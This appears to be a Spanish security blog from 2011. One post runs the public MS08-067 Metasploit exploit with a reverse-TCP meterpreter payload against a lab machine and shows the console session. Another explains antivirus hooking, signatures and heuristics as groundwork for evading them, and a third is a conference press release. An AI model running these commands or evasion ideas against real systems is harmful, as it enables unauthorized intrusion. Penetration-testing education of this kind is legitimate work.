lunes, 2 de mayo de 2011

Metasploit & Antivirus (II): Explotación en Memoria

Ahora que ya tenemos sentada las bases de como funcionan los antivirus, vamos a empezar a hacer nuestras pruebas con un antivirus a ver que pasa.

Se eligió una versión gratuita de un antivirus comercial que no se identificará en estos posts (aunque si alguien reconoce en el screenshot el antivirus... pues lo reconoce :P). Las pruebas solo se van a realizar sobre un antivirus, por lo que es probable que otros antivirus bloqueen cosas que este no bloquea y viceversa, por eso es importante montarnos una maqueta con el antivirus exacto que está utilizando el sistema sobre el que estamos haciendo el test de intrusión.

Pues bueno, vamos al lío, vamos a utilizar el archi-conocido exploit para MS08-067 para entrar en un sistema protegido con un antivirus y vamos a inyectar una shell Meterpreter.

# ./msfconsole
> setg RHOST 172.16.146.146
> setg LHOST 172.16.146.132
> use windows/smb/ms08_067_netapi
> set PAYLOAD windows/meterpreter/reverse_tcp
> exploit
[*] Started reverse handler on 172.16.146.132:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 3 - lang:Spanish
[*] Selected Target: Windows XP SP3 Spanish (NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (749056 bytes) to 172.16.146.146
[*] Meterpreter session 1 opened (172.16.146.132:4444 -> 172.16.146.146:1158) at Sat Apr 30 09:19:44 +0200 2011
meterpreter >

Ya tenemos acceso al sistema, y en antivirus... nada de nada.
Aunque parezca que esto no debería ser así, es bastante lógico si tenemos en cuenta como funciona un antivirus y como funciona Meterpreter. Si recordáis, dijimos que un antivirus, por motivos de complejidad y eficiencia, no puede monitorizar absolutamente todas las llamadas a sistema, así que vamos a ver que acciones hace Meterpreter que parece que el antivirus no está monitorizando ninguna de ellas.
  1. El exploit lleva consigo el código del Stager "reverse_tcp".
  2. Se ejecuta "reverse_tcp", que únicamente reserva una zona en memoria y realiza una conexión, y todos los datos que le llegan desde esa conexión los guarda en esa zona de memoria y salta la ejecución a ella. En esa zona es donde se guarda el Payload que hace la inyección de la DLL.
  3. Una vez que se salta a este Payload, este realiza la inyección de la DLL en la memoria del proceso.
  4. A partir de aquí, ya todo depende de las acciones que realicemos con Meterpreter, pero el acceso lo tenemos ya.
La explotación no toca el disco para nada, y las acciones que realiza son razonablemente normales, y además el proceso explotado pertenece a SYSTEM, así que entre unas cosas y otras... es bastante lógico que el pobre Antivirus no se esté enterando de nada.

De hecho, si en este momento realizamos un escaneo de todo el sistema, el Antivirus no va a encontrar nada, a pesar de que tenemos el Meterpreter cargado como DLL de uno de los procesos del sistema:


En la próxima entrega vamos a utilizar otro exploit que, por la manera de explotar, si que toca el disco, y que es detectado como un ataque por el antivirus, a ver que podemos hacer...

viernes, 29 de abril de 2011

Metasploit & Antivirus (I): Conceptos Previos

Hay una pregunta recurrente que me encuentro en muchas ocasiones cuando hablo de la explotación de sistemas, particularmente cuando comento todas las "putadillas" que se pueden hacer con Metasploit y Meterpreter, y es la siguiente:

¿Y el Antivirus no bloquea eso?

La respuesta corta es que "en ocasiones sí... y en ocasiones no", pero como a mi siempre me gusta mucho más VER las cosas que simplemente que me las cuenten, vamos a ver en una serie de posts de que manera los Antivirus están protegiendo los sistemas contra la explotación de vulnerabilidades, cuando las bloquearían, cuando no, y como algunas veces somos capaces de eludirlo para conseguir realizar acciones o explotar vulnerabilidades que a priori deberían ser bloqueadas.

Lo primero de todo es conocer algunos detalles sobre como los antivirus nos protegen, que ya os aviso que va a ser un poco tostón, mucha letra y muy poco código (justo el tipo de posts que odio), pero es la base para entender todo lo que veremos en los siguientes posts, así que os prometo que si leéis pacientemente este post los siguientes serán mucho código y poca letra, como a mi me gustan :)

Los Antivirus no son entidades omnipresentes, son simplemente piezas de software más o menos complejas que monitorizan ciertas actividades de nuestro sistema. En realidad, no funcionan de una forma muy diferente a como lo hacen los temidos RootKits, salvo por la finalidad, claro.

Buscando un paralelismo con el mundo físico, imaginad que tenemos una centralita telefónica que tiene mapeada extensiones telefónicas cortas (101, 102, 115, etc) con números de teléfonos largos. Todos los usuarios tienen un listado que les indica que la recepción es el 101, el despacho del director es el 102, etc, así que ellos saben a donde tienen que llamar para realizar cada acción, y esperan obtener una contestación adecuada al llamar a ese número (que descuelgue la persona a la que llaman). En este ejemplo, un Antivirus (o un RootKit) lo que haría sería seleccionar aquellas extensiones que sean de interés para sus propósitos (que en este caso serán diferentes para un Antivirus o un RootKit) y hacer lo siguiente:
  1. Me anoto que la extensión 169 original corresponde con el número 607.69.69.69.
  2. Modifico la asociación existente y le digo que ahora la extensión 169 se corresponde con el número 607.11.22.33 (un teléfono controlado por mi).
  3. Cuando reciba llamadas y lo considere oportuno, las redirijo a 607.69.69.69
Volviendo ahora a nuestro mundo de silicio y flujos de datos, el ejemplo solo cambiaría levemente, ya que en lugar de números de teléfono cortos y largos, tendríamos llamadas a las librerías del sistema:
  1. Me anoto que la función "CreateFile" original está en la dirección de memoria XXXXX.
  2. Modifico la asociación existente (hay una estructura de datos en el sistema operativo que guarda esta asociación) y le digo que ahora la función "CreateFile" está en YYYYY (una función creada por nosotros).
  3. Cuando reciba llamadas y lo considere oportuno, las redirijo a XXXXX.


Entender los detalles técnicos profundos puede ser mucho más complicado de lo que estamos viendo aquí, de hecho esto que hemos resumido de forma tan sencilla en un ejemplo es algo nada trivial y que requiere de conocimientos muy profundos del sistema operativo en cuestión. No obstante, entendiendo este ejemplo tenemos suficiente para entender a grandes rasgos como funciona un antivirus.

Bueno, ya esta, hemos conseguido que ahora todas las llamadas a "CreateFile" (o a la llamada que nos haya interesado "Hookear", que así se define vulgarmente este término) pasen por nosotros, pero... ¿y ahora qué hacemos con ellas?

Si somos un Antivirus vamos a querer, por ejemplo, "hookear" todas las aperturas de ficheros para analizar su contenido antes de ejecutarlo, así que podríamos poner algo así en nuestra "función falsa":
  1. Recibimos la llamada para ejecutar el fichero c:\QueMaloSoy.exe
  2. infectado = Analizar('c:\QueMaloSoy.exe')
  3. Si infectado => Alertar al Servicio Antivirus & Denegar acceso a fichero
  4. Sino => Permitir acceso al fichero
  5. Se ejecuta el ejecutable
De forma análoga esto lo haríamos con otras funciones que resultaran de nuestro interés, en el caso de un Rootkit serían las llamadas para listar los procesos o ficheros del S.O. (para ocultarse) y en el caso de un Antivirus sería el acceso a ficheros (para detectar malware), el matar procesos o modificar claves de registro (para proteger el propio antivirus), etc.

Aquí nos encontramos el primer problemilla de los antivirus... ¿qué llamadas interceptamos y sobre qué contenido buscamos malware? Está claro, SOBRE TODAS ELLAS, ¿no? Si quieres que el 100% de tu CPU en todo momento esté dedicada a buscar malware en tu sistema, esto podría ser una opción, pero quizá para eso no sea necesaria tanta programación de tan bajo nivel, simplemente apaga tu ordenador y tendrás el mismo nivel de seguridad por el mismo nivel de usabilidad.

Al final resulta que todo el mundo se queja de que los antivirus penalizan mucho el rendimiento del sistema, pero las empresas que desarrollan antivirus se ven obligadas a elegir aquellos puntos de control y aquella forma de buscar malware que vaya a ofrecer los mejores resultados sin hacer que el ordenador vaya a pedales, algo que es realmente complicado.

Así que ya tenemos nuestra primera afirmación: Los Antivirus NO lo ven todo, hay cosas que miran y hay cosas que no miran.

Vale, pero, ¿y si miran? ¿cómo saben que lo que están mirando es malicioso? Pues tienen dos aproximaciones, la más comúnmente utilizada, que se basa en firmas, y una heurística que se basa en una serie de patrones anómalos:
  1. Firmas: En algún momento alguna muestra del malware ha caído en manos de un analista de la compañía antivirus y este lo ha analizado y ha creado una firma, que no es más que una serie de comprobaciones que nos dicen si ese malware está presente o no. Puede ser una sucesión concreta de instrucciones, los valores de algunas cadenas de texto, una sucesión de llamadas a sistema, o cualquier otra cosa. En ocasiones las muestras del malware se encuentran cifradas de alguna forma con lo que en cada muestra su cuerpo es diferente. En estos casos las compañías de antivirus intentan detectar la rutina de descifrado en lugar del propio cuerpo del malware (esto es interesante para algo que veremos en los próximos posts).
  2. Heurística: Buscan anomalías en el comportamiento de algunos binarios, pero tiene que ser sobre binarios cuyo conocimiento sea a priori conocido. Por ejemplo, sería MUY sospechoso ver al proceso iexplore.exe (el de Internet Explorer) escribir contenido en ficheros .exe del sistema, pero no resultaría nada raro que lo hicieran muchos otros procesos (explorer.exe? aka "el escritorio"). En este caso, existen una serie de reglas que notifican de "comportamiento anómalos" al antivirus, como por ejemplo eso, imaginad que un proceso del usuario X intenta escribir contenido en el binario explorer.exe... pues no tengo ni idea de donde ha salido ese proceso, pero lo que está claro es que no es trigo limpio, salvo que se trate de windows update, para el que habría que configurar una excepción en este caso.
Conociendo ahora de que forma se detectan estas alertas, ya vemos que nos encontramos con más problemillas:
  1. ¿Qué ocurre si el malware es desconocido? ¿Y si es un malware conocido pero cifrado con una rutina propia y desconocida? Ya tenemos nuestra segunda afirmación: Los Antivirus NO detectan (con detección basada en firmas) malware desconocido.
  2. ¿Qué ocurre si el Antivirus bloquea actividades legítimas de software de terceros? La ruina del Antivirus, por eso solo hará esto si está muy muy seguro y conoce muy muy bien las acciones que debe tomar o no un proceso. Vamos entonces con nuestra tercera y última afirmación: Lo que para un proceso es detectado, si viene de otro proceso es legítimo.
La cuarta y última afirmación es evidente pero vamos a remarcarla como hemos hecho con las demás: El Antivirus debe ESTAR ENCENDIDO para poder detectar algo.

Bien! Has sobrevivido a todo este rollo. Enhorabuena!
¿Lo has comprendido todo? Perfecto, pues en el próximo post nos metemos a fondo y empezaremos a ver casos con Mestasploit y con alguno de los Software Antivirus que hay por ahí (sin citar el nombre, que tampoco es cuestión de atacar a uno y que los otros se vayan de rositas).

sábado, 2 de abril de 2011

No cON Name (NcN) 16 y 17 de Septiembre

Transmitimos la nota de prensa emitida por la Asociación No cON Name que ya lleva unos días siendo anunciada por los diferentes medios, y os recordamos que os mantengáis atentos a más detalles sobre las Formaciones (13, 14 y 15 de Septiembre) y las Ponencias (16 y 17 de Septiembre) que tendrán lugar durante las conferencias:

El Reto de la Seguridad Informática en el Congreso


“No cON Name 2011” La asociación No cON Name, asociación sin ánimo de lucro fundada en Mallorca en 2002, reunió en 2010 a más de 300 expertos en seguridad informática de toda España en Cosmo Caixa. El congreso se ha consolidado como uno de los encuentros de referencia del sur de Europa para técnicos del ámbito de la seguridad informática y busca la construcción de un foro abierto y libre donde converjan los conocimientos técnicos, el debate y la libre opinión.

La asociación anuncia que los días 16 y 17 de Septiembre tendrá lugar en Cosmo Caixa el congreso No cON Name en su octava edición. El evento con más antigüedad en España, reunirá, a nuevas promesas, a expertos consolidados y profesionales en el campo de la informática en general, redes telemáticas, programación o ingeniería de protección de software. La seguridad de equipos informáticos se ha convertido en la principal preocupación de empresas y particulares en los últimos tiempos. Por ello, la asociación hace un llamamiento anunciando la apertura de Propuesta de Ponencias o Call For Papers para todas aquellas personas de España y del extranjero que quieran presentar una ponencia enfocada tanto a análisis de sistemas inseguros, como a la aportación de ideas o proyectos que den un valor significativo a problemáticas de seguridad actuales y/o de futuro.

En esta edición, se estimulará la participación en proyectos de seguridad a través de concursos que la asociación creará para el propósito, donde se valorará el trabajo en equipos de múltiples disciplinas en el que potenciará la unidad del equipo y la solidaridad. Como puntos fuertes, el congreso se centrará en diversas áreas de la informática para el funcionamiento de los engranajes sociales, como por ejemplo los teléfonos móviles, la criticidad de la informática en dispositivos médicos que ayudan a salvar vidas humanas, los chips RFID y las tarjetas inteligentes, con usos tan diversos hoy en día como la identificación personal en los pasaportes, entidades bancarias o el acceso a instalaciones restringidas de alta seguridad, o los daños causados por una nueva clase de delincuentes en una nueva oleada de cibercrimen.

La asociación tiene como uno de sus objetivos conseguir estimular una industria de la seguridad a través del intercambio y actualización del conocimiento entre los profesionales y expertos. Además, la asociación pretende, al mismo tiempo, llegar a los empresarios y ciudadanos para conseguir aumentar la concienciación sobre la importancia de la seguridad delos medios tecnológicos.

El plazo de presentación de propuestas para incluir un proyecto en el No cON Name 2011 ya está abierto y terminará el 31 de Mayo. La inscripción para los asistentes se abrirá 15 de Mayo.